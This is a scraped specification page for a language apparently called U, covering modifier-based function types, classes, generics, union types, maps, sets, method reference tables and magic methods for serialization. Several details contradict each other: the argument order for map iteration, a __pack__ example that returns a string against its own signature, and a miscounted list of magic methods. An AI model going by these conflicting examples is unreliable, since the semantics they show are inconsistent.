Any callable producing T. Input types unspecified. Compiler enforces T's full modifier stack without constraining inputs. | Heterogeneous callable collections, factories, hooks |
T +F()explicit nullary |
Explicitly zero-argument callable producing T. | Thunks, lazy initializers, event callbacks |
T +F(S)typed args |
Function taking S, producing T. Full type information. | Typed callbacks, typed transformers |
+N (nullable handling), +R (heap allocation), +A (async await) — without knowing or caring what arguments the callable takes. A collection typed [Config +R +F] guarantees every callable returns a shared Config, no matter its input shape.+F in Practice
// ── Bare +F: heterogeneous callables, homogeneous output ────── hooks: [Config+F] = [] // any callable producing Config hooks.append(load_from_file) // Config +F(path: S) hooks.append(load_from_env) // Config +F() hooks.append(load_with_default(b)) // Config +F() +R (closure) // compiler: every result is Config — enforces modifiers on output configs: [Config] = hooks.x(hook => hook(...)) // ── +F(): explicit nullary ──────────────────────────────────── thunk: Config+F() = () => Config.default() cfg = thunk() // called with zero args // ── +F(S): fully typed ─────────────────────────────────────── parser: Config+F(S) = parse_config // takes S, returns Config cfg = parser(raw_json) // ── Composing with other modifiers (commutative) ───────────── handler: Config+F(S)+R // escaping closure fetcher: Config+F(S)+A // async function maybe: Config+F(S)+N // nullable reference esc_async: Config+F(S)+R+A // escaping async closure // Order is irrelevant — all identical: Config+F+R+A == Config+A+R+F == Config+R+A+F // same type
+F Compiler Oracle
| Type | Compiler decision |
|---|---|
T +F (bare) | enforce full T modifier stack on output — no constraint on inputs |
T +F without +R | inline or static ptr — no indirection |
T +F +R | indirect call via closure vtable |
T +F +A | auto-await check inserted at call site |
T +F +R +A | vtable call + auto-await |
T +F +N | null check before call |
+F +A — Async Function Type
Config +F(S) +A = async function taking S, producing Config. When called without a: auto-await, Config delivered transparently. When called with a: Config +A pending.Commutativity confirms:
+F +A = +A +F = one type, one meaning. "Async function returning T" and "function returning T +A" collapse — the call site determines which you get.
+F +R — The Bound Closure Type
A method closure capturing t (self) needs heap allocation to outlive its call frame — that's exactly +F +R. No separate bound-method concept needed.
d Server f get_handler(server: Server+R) -> Response+F(Request)+R r => req => t.handle_request(req) // captures t — needs +R handler: Response+F(Request)+R = server.get_handler() route.register(path, handler) // stored in routing table, survives
Bare +F for Dependency Injection and Plugin Systems
// Plugin system: all plugins produce S, inputs vary d PluginRegistry plugins: Map // keyed by name f register(registry: PluginRegistry+R+M, name: S, plugin: S+F) t.plugins[name] = plugin // S +F: any callable producing S f run(registry: PluginRegistry, name: S) -> S+N plugin: S+F+N = t.plugins[name] r => plugin & plugin(...) // null-guard + call // Compiler: result is S, handling enforced regardless of plugin internals
Classes, Inheritance & Policy — d, t, :
Classes use d. No separate struct keyword — a -R instance compiles identically to a C struct on the stack. t is self inside methods. : introduces a base class. No multiple inheritance.
The +M(policy) modifier declares how +R +M instances are mediated — either as a class-level default or overridden at the binding site.
// Basic class d Point x: N y: N f distance(other: Point) -> N dx = t.x - other.x // t = self dy = t.y - other.y r => (dx*dx + dy*dy).sqrt() // Inheritance — : introduces base class, no multiple inheritance d Animal name: S f speak() -> S r => "..." d Dog : Animal // Dog inherits from Animal breed: S f speak() -> S r => "Woof" // override // +P — policy modifier, class-level default // all +R +M instances of Counter are Actor-mediated by default d Counter+M(Actor) value: I f increment(t: Counter+R+M) t.value = t.value + 1 // Caller: no a needed — fiber handles Actor dispatch transparently counter: Counter+R+M = Counter() counter.increment() // enqueued and serialized by Actor policy // Binding-site override — same class, different policy c2: Counter+R+M(MVCC) = Counter() // override to MVCC // Policy + inheritance combined d LiveCounter+M(Actor) : Counter last_updated: S
+M on a binding grants mutation rights to +M properties. A -M property is const after initialization — the binding's +M does not override it. The most restrictive wins at each property access.
cfg.host = "x" where host is -M is a type error regardless of whether cfg is +M. The property's declaration wins.
Copy semantics — .c() is shallow by declaration
When you call .c() on a class instance:
-Rproperties (inline) — copied by value. COW applies for mutable ones: the copy shares backing data until the first write forces a real copy.+Rproperties (heap reference) — the reference is copied, not the object. Both the original and the copy point to the same heap object.
The class definition itself declares copy semantics through property modifiers — no separate clone() protocol needed. This is exactly PHP's clone behavior: inline values copy, references share.
// Inline nested structs — -R means value-embedded, copies recursively d Vec2 // small value type, always -R by default x: N y: N d Material+R(RAII) // GPU resource — always lives on heap shader: S f drop(t: Material+R) // called automatically when last ref drops gpu.release(t.shader) d Mesh origin: Vec2 // -R inline: Vec2 embedded, copies by value count: I // -R inline: scalar, copies by value vertices: [Vec2]+R // +R heap array — reference shared on .c() normals: [Vec2]+R // +R heap array — reference shared on .c() material: Material+R // +R heap object — reference shared on .c() a = Mesh( origin: Vec2( x: 0.0, y: 0.0 ), count: 3, vertices: [...], normals: [...], material: Material("pbr") ) b = a.c() // b.origin → new Vec2 (inline — x and y duplicated) // b.count → 3 (scalar copy) // b.vertices → same heap array as a.vertices (reference shared) // b.normals → same heap array as a.normals (reference shared) // b.material → same Material as a.material (RAII refcount++) b.origin.x = 1.0 // OK — b.origin is its own copy a.origin.x // still 0.0 — unaffected // Want independent vertices? Copy the array explicitly: b.vertices = a.vertices.c() // b now has its own vertex buffer // +R on a local binding: heap-allocated, shareable via +R properties mat: Material+R = Material("wireframe") // heap, refcount=1 c: Mesh+R+M = Mesh(...) c.material = mat // OK: mat is +R — can be shared, refcount→2 // +R cannot reference a plain -R stack var — no refcount, compile error plain: Vec2 = Vec2( x: 1.0, y: 2.0 ) // -R stack c.material = plain // ❌ types differ: +R expected, -R given
Method overrides and explicit parent calls
To override a method, redefine it in the subclass. To call the parent version, use ParentClass.method(args) — t is passed implicitly. There is no super keyword and no auto-super magic.
t present in body → instance method. t absent → +G (static). This applies to overrides too — a static parent method overridden with a static child method just works. If a parent changes a method from static to instance, the subclass breaks at the next compile — surfacing the breaking change immediately, never silently at runtime.
d Bar name: S f __construct__(a: I) t.name = a.__string__() f greet() -> S // instance — t used r => "Hello from " + t.name f version() -> S // static — no t r => "Bar v1" d Foo : Bar x: S = "default" f __construct__(a: I, b: S) Bar.__construct__(a) // explicit — t passed implicitly t.x = b // own init after parent f greet() -> S // overrides instance method base = Bar.greet() // call parent — t implicit r => base + ", also " + t.x f version() -> S // overrides static — no t here either r => Bar.version() + "-Foo" // Not calling Bar.__construct__ is valid — deliberate choice // Compiler warns if __construct__ never calls parent's
Minimal Generics — Type Parameters on Classes
Classes may declare type parameters to express the type of contained values. Type parameter names must be multi-letter — single letters are reserved for keywords and primitive types. One exception: T is universally understood as "the type parameter" and is reserved for this use. All others must be multi-letter: Key, Val, Elem, Result — self-documenting and safe from future single-letter language additions. Domain-specific names like Vertex are equally valid.
Generics in v1 are class-level only. Generic functions use interfaces for polymorphism. Modifiers compose with type parameters and are validated at instantiation: [ElemType+V] requires ElemType to be a numeric type — VectorStore[S]() is a compile error.
// Type suffix recommended for generic names: d Stack[ElemType] items: [ElemType]+M = [] f push(item: ElemType) t.items = [...t.items, item] f pop() -> ElemType+N r => t.items.length > 0 ? t.items.last() ! none d Result[OkType, ErrType] value: OkType+N error: ErrType+N f ok() -> L r => t.error == none // Domain names valid when context is clear: d Graph[Vertex, Edge] nodes: [Vertex]+M = [] edges: [Edge]+M = [] // Modifiers validate at instantiation: d VectorStore[ElemType] data: [ElemType+V]+R(GPU) // ElemType must be numeric VectorStore[N32]() // ✓ VectorStore[S]() // ✗ compile error: S+V invalid // Generic functions use interfaces instead: d Comparable! f compare_to(other: Comparable) -> I f max(a: Comparable, b: Comparable) -> Comparable r => a.compare_to(b) > 0 ? a ! b
a c d e f o r t w) and primitive types (I U N Q S L B C). The compiler enforces this. Type suffix is convention, not enforced — the compiler only requires multi-letter.
Union Types — T|S
A union type T|S declares that a value may be any one of its member types. The method dispatch rule is strict: a method call on T|S is valid at compile time if and only if an exact matching signature exists for every member of the union. No guessing, no widening — exhaustive coverage or compile error.
For overloaded methods this means each member type must have its own exact overload. The compiler verifies coverage statically and emits the appropriate dispatch.
+N is syntactic sugar for T|none — the most common union. Narrowing with the : type test reduces a union to a specific member inside a branch.
Generic union parameters: Stack[I|S] is a stack that holds integers or strings — declared explicitly, never inferred. This is the correct answer to mixed-type collections.
val: I|S = get_something() val.__string__() // ✓ both I and S have __string__() val.length // ✗ only S has .length — narrow first val : I ? val.abs() // val is I here ! val.uppercase() // val is S here // Overloaded methods: exact overload for each member = valid d Formatter f render(v: I) -> S => "int:" + v.__string__() f render(v: S) -> S => "str:" + v x: I|S = get_val() fmt.render(x) // ✓ exact overload exists for both I and S // Generic union parameter stack: Stack[I|S] = Stack[I|S]({}) stack.append(42) // ✓ I is in I|S stack.append("hi") // ✓ S is in I|S stack.append(3.14) // ✗ N is not in I|S — compile error // +N is sugar for T|none name: S+N = get_name() // equivalent to S|none name ?? "anonymous" // Three-member union with exhaustive narrowing token: I|S|L|none = parse() token : I ? handle_int(token) ! token : S ? handle_str(token) ! token : L ? handle_logical(token) ! skip()
Type Hierarchies — U's Enum Replacement
U has no enum keyword. Instead, named subtypes with dot-namespace syntax serve the same purpose — and more, because they participate in the event system, error system, and type dispatch natively.
d Foo.Bar : Foo declares a type Bar namespaced under Foo, inheriting from Foo. Zero-field types are auto-singletons — Color.Red as an expression IS the value, no () needed.
// Define a base type and its variants d Color d Color.Red : Color // zero-field → auto-singleton d Color.Green : Color d Color.Blue : Color // Color.Red IS the value — no () needed bg: Color = Color.Red bg : Color.Red // L true — isinstance bg : Color // L true — base type // Variants can carry data (unlike traditional enums) d Shape d Shape.Circle : Shape { radius: N } d Shape.Rect : Shape { width: N, height: N } d Shape.Triangle : Shape { base: N, height: N } // Dispatch via : type test area = shape : Shape.Circle ? Math.PI * shape.radius ^ 2 ! shape : Shape.Rect ? shape.width * shape.height ! shape.base * shape.height / 2 // Hierarchical namespaces d NetworkError d NetworkError.Transport : NetworkError d NetworkError.Transport.Timeout : NetworkError.Transport d NetworkError.Transport.Refused : NetworkError.Transport d NetworkError.Protocol : NetworkError d NetworkError.Protocol.SSL : NetworkError.Protocol
The pit of success: typed middleware over switch/match
U has no switch or match keyword. This is deliberate. Enumerating cases in a closed dispatch block couples the caller to every variant — adding a new case requires finding and updating every dispatch site. The open alternative is typed handlers:
// ❌ closed dispatch — every new Shape breaks this area = shape : Shape.Circle ? Math.PI * shape.radius ^ 2 ! shape : Shape.Rect ? shape.width * shape.height ! 0.0 // ← new shapes silently return 0 // ✅ open dispatch — new Shape? add one handler, no existing code changes renderer.x((s: Shape.Circle) => draw_circle(s.radius)) renderer.x((s: Shape.Rect) => draw_rect(s.width, s.height)) renderer.x((s: Shape.Triangle) => draw_triangle(s.base, s.height)) // add Shape.Hexagon later? one new line, zero regressions // Same pattern already used for errors: e.x((err: NetworkError.Transport.Timeout) => retry()) e.x((err: NetworkError.Protocol.SSL) => alert_security()) // errors and enums are the same pattern. one mechanism.
Static fields — +G
+G is for class-level (static) fields — shared across all instances, not per-instance. Separate concern from type hierarchies.
d Config api_url: S +G = "https://api.example.com" // static constant timeout: I +G = 30 // static constant calls: I +G+M = 0 // static mutable counter host: S = "localhost" // instance field (no +G)
Interfaces & Abstract Methods — !
Append ! to a class declaration for a pure interface. Append ! to an individual method for an abstract method in a partial abstract class. Interfaces constrain instances — methods in interfaces are never static, never have properties.
d Foo! — pure interface, all methods abstract, no instantiationf method()! — abstract method in a partial classInterface methods are always instance methods —
+G not allowedNo properties in interfaces — only method signatures
Compiler verifies all abstract methods are implemented by concrete subclasses
// Pure interface — all methods abstract d Drawable! f draw(ctx: Context) // abstract — no body f bounds() -> Rect // abstract — no body // Partial abstract class — some concrete, some abstract d Animal f speak()! // abstract — subclass must implement f breathe() // concrete — inherited as-is t.lungs.cycle() // Concrete implementation d Circle : Drawable radius: N f draw(ctx: Context) ctx.draw_circle(t.center, t.radius) f bounds() -> Rect r => Rect( x: t.center.x - t.radius, y: t.center.y - t.radius, width: t.radius*2, height: t.radius*2 ) // Type test works for interfaces shape: Drawable = Circle( radius: 5.0 ) shape : Drawable // L true shape : Circle // L true — concrete type also works // Static interface methods: not allowed — interfaces are for instances // Use type hierarchies for static polymorphism instead: d Shape.Circle : Shape f create(radius: N) -> Shape.Circle // static — called as Shape.Circle.create(5.0) r => Shape.Circle( radius )
Untyped parameters — not allowed
Every parameter must have a type annotation. f process(data) is a compile error. No untyped escape hatch — the type system has no any. Use interfaces or class hierarchies for polymorphism, __unpack__ for external data.
f good(data: [N32+V]) // ✓ typed // f bad(data) ← ✗ compile error: no type annotation f fetch(url: S, { timeout: I = 30, verbose: L = false }) // { timeout } ← ✗ compile error: missing type in named param
Maps — {K: V}
When the shape of data is known at compile time, use a typed class. When keys are determined at runtime — JSON payloads, plugin config, metadata — use a {K: V} map.
In v1, arrays [T] and maps {K: V} are the only parameterized types. No full generics yet, but these two cover most needs. Maps accept all modifier annotations and have the same iteration methods as arrays. Iteration order is guaranteed to be insertion order — this is a language guarantee, not an implementation detail. Map iteration handlers receive (key, value) pairs.
S, I, N, L) work automatically. For classes, implement f __hash__() -> I and f __equals__(other) -> L — these make any class usable as a map key. Override both or neither — the compiler enforces this. If you declare {MyClass: V} on a class with __equals__ but no __hash__, it is a type error.
// Map literal — runtime key-value store meta: {S: V} = { "author": "Alice", "version": 3 } // Any comparable type as key user_by_id: {I: User} = {} // integer keys by_point: {Point: I} = {} // class key — Point must implement hash() and == // Dynamic access — returns +N (key may not exist) author: S+N = meta["author"] version: I = meta["version"] ?? 1 "author" in meta // L — O(1) membership // Modifiers — same as classes ro_config: {S: S}+R-M = load_config() // shared immutable live_state: {S: V}+R+M(MVCC) = {} // shared mutable + MVCC // Class as key — implement hash() and == d Point x: I, y: I f __hash__() -> I => (t.x * 31 + t.y) * 31 f __equals__(other: Point) -> L => t.x == other.x & t.y == other.y grid: {Point: S} = {} // works because Point has __hash__ and __equals__ grid[Point( x: 0, y: 0 )] = "origin"
Map iteration — same methods as arrays
All map iteration receives (key, val) pairs. Three-signal convention: none = include/continue, false = skip, true = stop.
// .x() — side effects meta.x((key, val) => log("{key}: {val}")) // .filter() — returns new Map strings = meta.filter((key, val) => val : S ? none ! false) // .map() — transform values, keys preserved upper = meta.map((key, val) => val : S ? val.uppercase() ! val) // .find() — returns (K, V) +N hit: (key: S, val: Any)+N = meta.find((key, val) => val == target ? none ! false) // .reduce() — fold total = prices.reduce((acc, val, key) => acc + val, 0.0) // Promise-aware: .all() and .any() work on {K: V +A} maps fetching: {S: Response+A} = endpoints.map((key, url) => a fetch(url)) results: {S: Response} = fetching.all() // await all, same keys preserved first: Response+N+A = fetching.any() // first to resolve
Sets — {K}
A set is a collection of unique keys with no associated values. A key is either present or absent — there is no "present but false" state. Sets have their own type {K}, distinct from the map {K: V}.
Empty literal disambiguation: {} is an empty set; {:} is an empty map. The colon always signals map — even when empty. Python's {} producing a dict is a famous footgun; U avoids it with this rule.
Sets are +M by default. A -M set must be initialized with already-constructed keys.
| Method | Returns | Notes |
|---|---|---|
.has(val) | L | O(1) membership check. |
.insert(val) | L | true if inserted (was absent), false if already present. Requires +M. |
.delete(val) | L | true if deleted (was present), false if absent. Requires +M. |
.union(other) | {K} | New set with all keys from both. |
.intersection(other) | {K} | New set with keys in both. |
.difference(other) | {K} | New set with keys in self but not other. |
.filter(fn) | {K} | Returns a set. |
.map(fn) | [T] | Returns an array (mapped values may not be unique). |
.to_array() | [K] | Order unspecified. |
.length | I | Element count (property). |
.is_empty() | L | Sugar for s.length == 0. |
// Type and construction admins: {S} = { "alice", "bob" } // set literal — no colons empty: {S} = {} // {} = empty set empty_map: {S: I} = {:} // {:} = empty map frozen: {S}-M = { "x", "y" } // immutable — initialized upfront // Membership — O(1) admins.has("alice") // true "carol" in admins // false // Mutation admins.delete("bob") // true — bob was present, now removed admins.insert("dave") // true — dave added (was absent) admins.insert("alice") // false — already in set // Set operations — return a new set editors: {S} = { "bob", "carol" } admins.union(editors) // { "alice", "bob", "carol" } admins.intersection(editors) // { "bob" } admins.difference(editors) // { "alice" } // Iteration and conversion admins.x((key: S) => notify(key)) admins.map(k => k.upper()) // returns [S] — mapped values may not be unique admins.filter(k => k.length > 3) // returns {S} ["a","b","a"].to_set() // {S} — deduplicates admins.to_array() // [S] — order unspecified // Map × set — filter by key membership scores: {S: N} = { "alice": 9.8, "bob": 7.4 } scores.filter_keys(admins) // {S:N} — only keys in admins
Array ↔ Set interoperability
Arrays and sets share the iteration protocol — .x(), .map(), .filter(), .reduce() work on both. The result type follows the source: .filter() on a set returns a set; .map() always returns an array (mapped values may not be unique). Explicit conversion where needed; no implicit coercion.
// .filter() — result type follows source admins.filter(k => k.length > 3) // {S} — still a set names.filter(n => n.length > 3) // [S] — still an array // .map() — always returns array admins.map(k => k.upper()) // [S] — not a set admins.map(k => k.upper()).to_set() // {S} — if you want dedup // Explicit conversion tags = ["a","b","a"].to_set() // {S} — deduplicates arr = admins.to_array() // [S] — order unspecified sorted = admins.to_array().sort() // [S] sorted — go via array // No implicit coercion // f process(items: [S]) does NOT accept {S} directly // process(admins.to_array()) ← explicit, always
Map iteration — (key, value) pairs, insertion order guaranteed
scores: {S: N} = { "alice": 9.8, "bob": 7.4, "carol": 8.1 } // .x() — iterate (key, value) in insertion order scores.x((score, name) => print(name + ": " + score.__string__())) // value first // alice: 9.8 / bob: 7.4 / carol: 8.1 — guaranteed order // .map() — transform values, key passed through grades: {S: S} = scores.map((score, name) => score >= 9.0 ? "A" ! "B") // .filter() — keep entries where predicate holds top_scores: {S: N} = scores.filter((score, name) => score >= 9.0 ? none ! false) // .all() / .any() — synchronous predicates all_passed: L = scores.all((score, name) => score >= 5.0) // true any_honours: L = scores.any((score, name) => score >= 9.5) // false // .reduce() — fold over entries total: N = scores.reduce((acc, score, name) => acc + score, 0.0) // .find() — first matching entry, returns value+N winner: N+N = scores.find((score, name) => score >= 9.0 ? none ! false) // .keys() / .values() / .items() — explicit projection names: [S] = scores.keys() // [S] in insertion order vals: [N] = scores.values() // [N] in insertion order pairs: [[S, N]] = scores.items() // [[key, value], ...] in insertion order
{ "a": 1, "b": 2 } always iterates a first, b second — in literals, after insertions, after mutations. The compiler implements maps as ordered hash maps. This guarantee makes map iteration testable and predictable.
Why Symbol, WeakMap, and a separate Map type are unnecessary
| JS concept | Why it exists in JS | U equivalent |
|---|---|---|
| Map | Objects only allow string keys; Map allows any type | {K: V} with any key type — it IS the map |
| WeakMap | Attach metadata without preventing GC collection | ARC: objects have deterministic lifetimes. Weak refs if needed are a modifier, not a separate collection type. |
| Symbol | Unique non-string keys, private properties, protocol hooks | Type system (uniqueness), class visibility (privacy), .x() protocol (iteration hooks) |
| Set | Unique-value collection with O(1) membership | {K} — first-class set type. .insert()/.delete() return L. {} = empty set; {:} = empty map. |
[T] and {K: V}. These are the only parameterized types — and they compose.
Multidimensional arrays — all or nothing. [[T]] is a matrix (2D contiguous block). [[[T]]] is a rank-3 tensor. Arbitrary rank by nesting brackets — no new mechanism, no rank parameters. No modifiers go between brackets: inner brackets are stride dimensions, not separate allocations. [[I]]-M(2,8) fixes dimensions. +V on the outside hints SIMD. +R(GPU) puts the whole block on GPU.
If you need a growable outer array of independently-sized inner arrays, define a class holding a [I]+M property — it almost certainly needs methods anyway. There is no [[I]+M] syntax; inner modifiers require +R on the inner type: [[I]+R+M]+M = jagged array (array of ARC pointers to independently-allocated rows).
Array elements are always packed (-R by default). [Foo] stores Foo structs contiguously like a C array of structs. [Foo+R] stores ARC pointers contiguously. Foo's internal collection fields are still +R (pointer-sized), so [Foo] is a block of fixed-size structs regardless of what Foo contains internally.
Map value storage. Scalar and class values are -R by default (inline in slot). Collection values ([], {K:V}, {K}) are +R by default (ARC pointer in slot) — mutation through subscript requires a stable reference that survives reallocation.
Set keys must be hashable. Mutable collections (+M) cannot be set keys — their hash changes with content. Scalar and -M collection keys are stored inline.
String Methods — S
Strings are immutable by default (-M). All methods return a new string. Indexing is 1-based.
| Method | Returns | Notes |
|---|---|---|
.length | I | Character count (property). |
.upper() | S | Uppercase. "hello".upper() → "HELLO". |
.lower() | S | Lowercase. |
.strip() | S | Strip whitespace both ends. |
.trim_start() | S | Strip leading whitespace. |
.trim_end() | S | Strip trailing whitespace. |
.split(sep: S) | [S] | Split on separator. |
.chars() | [S] | Split into individual characters. |
.bytes() | [I] | UTF-8 byte values. |
.slice(start, end?) | S | Substring. 1-based inclusive. |
.starts_with(pre) | L | Prefix check. |
.ends_with(suf) | L | Suffix check. |
.has(sub) | L | Substring search. |
.index_of(sub) | I+N | First position or none. |
.replace(from, to) | S | Replace first occurrence. |
.replace_all(from, to) | S | Replace all occurrences. |
.repeat(n) | S | "ab".repeat(3) → "ababab". |
.pad_start(n, ch?) | S | Pad to length n on the left. |
.pad_end(n, ch?) | S | Pad to length n on the right. |
.to_i() | I+N | Parse to integer. none if invalid. |
.to_n() | N+N | Parse to float. none if invalid. |
.is_empty() | L | Sugar for s.length == 0. |
.__string__() | S | Called by compiler for interpolation. Override on any class. |
name = " Hello, World! " name.strip().lower() // "hello, world!" name.strip().upper() // "HELLO, WORLD!" "a,b,c".split(",") // ["a", "b", "c"] url.starts_with("https") // true url.index_of("api") // I+N — 1-based position "7".pad_start(3, "0") // "007" "42".to_i() // 42 "abc".to_i() // none msg = "Found {count} items" // interpolation calls .__string__()
Map Methods — {K: V}
Empty map literal: {:} — colon signals map even when empty. {} is an empty set.
| Method | Returns | Notes |
|---|---|---|
.length | I | Number of entries (property). |
.has(key) | L | O(1) existence. Distinguishes "key missing" from "key exists with value none" for {K: V+N} maps. |
map[key] | V+N | Returns value or none if key absent — never throws. |
.get(key) | V+N | Identical to map[key]. |
.set(key, val) | — | Set entry. Requires +M. |
.insert(key, val) | L | Set only if key absent. Returns true if inserted. Replaces map[key] ?? map.set(key, val). |
.delete(key) | L | Remove entry. Returns true if deleted, false if key was absent. |
.pop(key) | V+N | Remove and return the value. none if key absent. map.pop(k) ?? default is the idiomatic fallback for non-nullable value maps. |
.pop(key, default) | V | Remove and return the value if present, default if absent — never +N. Necessary for {S: V+N} maps where ?? cannot distinguish absent from null-valued. |
.keys() | [K] | All keys in insertion order. |
.values() | [V] | All values in insertion order. |
.items() | [[K,V]] | Key-value pairs. |
.x(fn) | — | Iterate. Passes (value, key) — value first. |
.map(fn) | {K:U} | Transform values, same keys. |
.map_keys(fn) | {U:V} | Transform keys, same values. |
.filter(fn) | {K:V} | Filter entries. Handler receives (value, key). |
.find(fn) | V+N | First value matching predicate. |
.reduce(fn, init) | U | Fold: (acc, val, key) => new_acc. |
.merge(other) | {K:V} | Merge two maps. Right wins on conflict. |
.filter_keys(set) | {K:V} | Keep only entries whose key is in a {K} set. |
.is_empty() | L | Sugar for map.length == 0. |
scores: {S: N} = { "alice": 9.8, "bob": 7.4 } scores.has("alice") // true — O(1) scores["alice"] // 9.8 — V+N, never throws scores["dave"] // none — key absent scores.insert("dave", 8.5) // true — inserted scores.insert("alice", 0.0) // false — alice unchanged doubled = scores.map(v => v * 2) // {S:N} — same keys top = scores.filter(v => v >= 9.0) // {S:N} defaults.merge(config) // right wins on conflict empty: {S: I} = {:} // {:} = empty map val = scores.pop("alice") // N+N — 9.8, removed val = scores.pop("alice") ?? 0.0 // N — 0.0 if absent (non-nullable maps) val2 = scores.pop("alice", 0.0) // N — 0.0 if absent, regardless of stored null
Array Methods — Complete Reference
All structural mutation methods require +M. Non-mutating methods return a new value. Indexing is 1-based.
| Method | Returns | Notes |
|---|---|---|
.append(val) | — | Append. Requires +M. |
.pop() | T+N | Remove and return last. Requires +M. none if empty. |
.shift() | T+N | Remove and return first. Requires +M. |
.unshift(val) | — | Prepend. Requires +M. |
.concat(other) | [T] | Join two arrays. Non-mutating. |
.join(sep) | S | ["a","b"].join(",") → "a,b". |
.flatten() | [T] | Flatten one level. [[1,2],[3]].flatten() → [1,2,3]. |
.index_of(val) | I+N | First index (1-based) or none. |
.has(val) | L | O(n) linear scan — explicit by design. Use {K} set for O(1). |
.first() | T+N | First element. Sugar for arr[1]. |
.take(n) | [T] | First n elements. |
.drop(n) | [T] | Skip first n elements. |
.chunk(n) | [[T]] | Split into groups of n. |
.reverse() | [T] | Reversed copy. Non-mutating. |
.unique() | [T] | Remove duplicates, preserve first occurrence. |
.to_set() | {T} | Convert to set — deduplicates. |
.sum(fn?) | N | Sum. Optional key: .sum(u => u.score). |
.min(fn?) | T+N | Minimum. Optional key. none if empty. |
.max(fn?) | T+N | Maximum. Optional key. none if empty. |
.zip(other, fn) | [U] | Pair-wise combine. Callback IS the loop body — no tuple, no unpack. Stops at shorter array. |
[[T]].transpose() | [[T]] | Matrix transpose. Its own inverse. Replaces Python's zip(*matrix). |
.is_empty() | L | Sugar for arr.length == 0. |
.length | I | Element count (property). |
nums: [I] = [1, 2, 3] nums.append(4) // [1,2,3,4] nums.pop() // returns 4 [1,2].concat([3,4]) // [1,2,3,4] ["a","b"].join(", ") // "a, b" [[1,2],[3]].flatten() // [1,2,3] [1..10].take(3) // [1,2,3] [1..10].drop(7) // [8,9,10] [1..6].chunk(2) // [[1,2],[3,4],[5,6]] [3,1,4].reverse() // [4,1,3] orders.sum(o => o.amount) // N users.min(u => u.age) // User+N [1,2,3].zip([4,5,6], (a,b) => a+b) // [5,7,9] names.has("alice") // L — O(n), use {S} for O(1) [1,2,2,3].unique() // [1,2,3] [1,2,2].to_set() // {1,2}
Magic Methods
Thirteen double-underscore methods form the v1 protocol (six protocol + seven operator). The compiler recognises them by name and calls them automatically.
| Method | Signature | Called when | Constraint |
|---|---|---|---|
__construct__ | f __construct__({...}) | Object created via ClassName(...). If absent, compiler auto-generates one from declared fields. | No auto-super. Call parent explicitly: Bar.__construct__(args) — t passed implicitly. |
__hash__ | () -> I | Object used as map key — bucket placement | Must be consistent with __equals__: if a.__equals__(b) then a.__hash__() == b.__hash__() |
__equals__ | (other: T) -> L | a == b operator; map key collision resolution | Must be consistent with __hash__. Override both or neither. |
__pack__ | (): {S: JsonValue} | Object → plain data for encoding — format-agnostic. Called by Json.encode(), Protobuf encoders, etc. Auto-generated by the compiler from field declarations (like Python's @dataclass or Obj-C's @synthesize) — override only for custom field names or transformations. | Should round-trip with __unpack__ |
__unpack__ | (data: {S: JsonValue}) -> T | Reconstruct object from plain data — c f (class method). Called by Json.decode() etc. Auto-generated by the compiler from field declarations — recurses into nested types automatically (Address.__unpack__() called when a field type is Address). Override for custom key names or value transformations. Factory | Defined inside the class; compiler treats it as static. Should round-trip with __pack__. |
__merge__ | (base: T, theirs: T) -> T | MVCC conflict resolution — two fibers write same object | base = common ancestor, t = your changes, theirs = other fiber's commit. Without it: last write per subtree wins. +M(CRDT) = MVCC with commutative idempotent __merge__. |
__add__ | f __add__(other: T) -> T | a + b | Also __sub__ __mul__ __div__ for - * /. Arithmetic operators. |
__neg__ | f __neg__() -> T | Unary -a | Negation. |
__abs__ | f __abs__() -> T | Unary +a | Absolute value. Symmetric with __neg__. For C64: element-wise abs of components; .magnitude() returns the modulus as N. |
__matmul__ | f __matmul__(other: T) -> T | A @ B | Matrix multiplication. ^ (power) is built-in — no magic method needed. |
__hash__ nor __equals__ get structural defaults: all fields compared for equality, hash derived from all fields. This means any class can be used as a map key without writing anything — override only when you need a subset of fields to determine identity.
Every class gets __pack__ and __unpack__ auto-generated from its field declarations — no annotations, no boilerplate, like Python's @dataclass or Obj-C's @synthesize but always on. The compiler recurses into nested types and handles +R fields correctly: a posts: [Post]+R field generates heap-allocated, reference-counted array construction during __unpack__ automatically.
All serialization formats call the same __unpack__ — swap Json for Protobuf or capnproto`Foo/User` and the object hydration is identical. Type mismatches at runtime become checked exceptions the compiler requires callers to handle — not silent crashes, not unhandled panics, but explicit obligations at the call site.
| Library | Annotations needed | +R / refs handled | Exceptions checked | Compile-time validation |
|---|---|---|---|---|
Python json | Manual | No | No | No |
Rust serde | #[derive] | Yes | No (Result) | No |
| Python Pydantic | @validator | No | Runtime only | Partial |
| Kotlin serialization | @Serializable | N/A | No | Partial |
| U | None | Yes — compiler generates | Yes — checked | Yes — template tags |
The combination — zero boilerplate, correct reference semantics, checked exceptions, and compile-time validation via template tags — is unique. Each piece is individually unremarkable; the composition is what makes it serious.
d User
id: I
name: S
email: S
// Identity by id only — name and email changes don't affect map keys
f __hash__() -> I => t.id
f __equals__(other: User) -> L => t.id == other.id
// Serialization — round-trips through __unpack__
f __pack__(): {S: JsonValue}
r => "{t.id}|{t.name}|{t.email}"
// Class method (c f) — called as User.__unpack__(data)
c f __unpack__(data: {S: JsonValue}) -> User
parts = data.split("|")
r => User( id: parts[1].to_i(), name: parts[2], email: parts[3] )
// Usage
user_map: {User: Session} = {} // User as map key — uses __hash__ and __equals__
alice = User( id: 1, name: "Alice", email: "a[at]x.com" )
packed = alice.__pack__() // { id: 1, name: "Alice", email: "[email protected]" }
back = User.__unpack__(packed) // User({ id: 1, name: "Alice", ... })
alice == back // true — same id, __equals__ passes
// Conflict resolution — called when two fibers write same Config
f __merge__(base: Config, theirs: Config) -> Config
Config(
host: theirs.host, // theirs wins for host
port: t.port, // keep my port
flags: t.flags.merge(theirs.flags) // union flags map
)
// Default: no magic methods needed for simple value types
d Color { r: I, g: I, b: I } // structural __hash__ and __equals__ auto-generated
color_count: {Color: I} = {} // just works
NoSQL Document ORM
For NoSQL databases (MongoDB, Firestore, DynamoDB), there is almost no impedance mismatch — documents are JSON, objects are documents, and __pack__/__unpack__ handles serialization for free. The "ORM" layer is just three thin pieces: a collection annotation, CRUD operations, and query building.
Unlike SQL ORM, there is no join problem (documents are self-contained), no N+1 problem (__unpack__ recurses into nested types automatically), and no painful schema migration — add a +N field and old documents return none for it.
